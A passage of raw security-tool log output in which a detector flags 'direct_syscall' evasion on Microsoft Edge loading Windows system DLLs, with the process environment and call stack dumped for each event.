EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffc8e0b6dba C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc90dd6f0d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!??4IDataFieldVisitor@telemetry_client@@QEAAAEAV01@AEBV01@@Z|0x7ffc90dd6fa2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!??4IDataFieldVisitor@telemetry_client@@QEAAAEAV01@AEBV01@@Z|0x7ffc9271d4bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc9271c79b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc9416f8a0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc94173cf3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc90287292 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!??1IDataFieldVisitor@telemetry_client@@UEAA@XZ|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4185967 + Pid: 7364 + Tid: 6260 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.559936 +0100 CET + Params: base_address➜ 7ffca7440000, checksum➜ 419990, default_address➜ 7ffca7440000, file_path➜ C:\Windows\System32\Windows.Internal.UI.Shell.WindowTabManager.dll, image_size➜ 413696, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffccdb12ab6 C:\Windows\System32\twinapi.appcore.dll!Ordinal503|0x7ffccdb49244 C:\Windows\System32\twinapi.appcore.dll!Ordinal14|0x7ffccdb491c2 C:\Windows\System32\twinapi.appcore.dll!Ordinal14|0x7ffc8e9a3180 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e9a2f6d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e9a2f19 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e9a2e6d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e9a2d2c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4186142 + Pid: 7364 + Tid: 6584 + Type: LoadImage + CPU: 7 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.569392 +0100 CET + Params: base_address➜ 7ffcd83a0000, checksum➜ 112844, default_address➜ 7ffcd83a0000, file_path➜ C:\Windows\System32\secur32.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffc70e65eeb C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70f0e081 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e4be29 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e4c519 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e10637 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e4c690 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70e449ec C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70b909c3 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthTestSetLogPiiEnabled|0x7ffc70b8dc5c C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthExecuteBrowserNativeRequest|0x7ffc70b8474b C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll!OneAuthInitialize|0x7ffc90dd6fdf C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!??4IDataFieldVisitor@telemetry_client@@QEAAAEAV01@AEBV01@@Z|0x7ffc9271d4bd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc9271c79b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc9416f8a0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc94173cf3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ffc90287292 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!??1IDataFieldVisitor@telemetry_client@@UEAA@XZ|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45fd2d C:\Program Files 